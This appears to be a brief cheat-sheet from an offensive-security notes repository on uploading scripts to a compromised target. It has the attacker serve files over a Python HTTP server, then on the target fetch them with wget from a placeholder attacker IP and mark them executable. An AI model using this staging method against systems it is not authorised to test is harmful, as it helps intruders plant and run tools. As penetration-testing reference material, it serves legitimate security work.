killchain-compendium/Miscellaneous/Upload to Target.md

15 lines
301 B
Markdown
Raw Normal View History

2022-11-13 16:00:22 +01:00
# Usage
## Adhoc upload to target via http server
* on local attacker
```python3 -m http.server 8000```
or
```python -m SimpleHTTPServer```
* on target
```wget http://<attacker-ip>:8000/<script>```
```chmod +x <script>```
## Copy to editor via clipboard
* vi, nano, heredoc
```chmod +x <script>```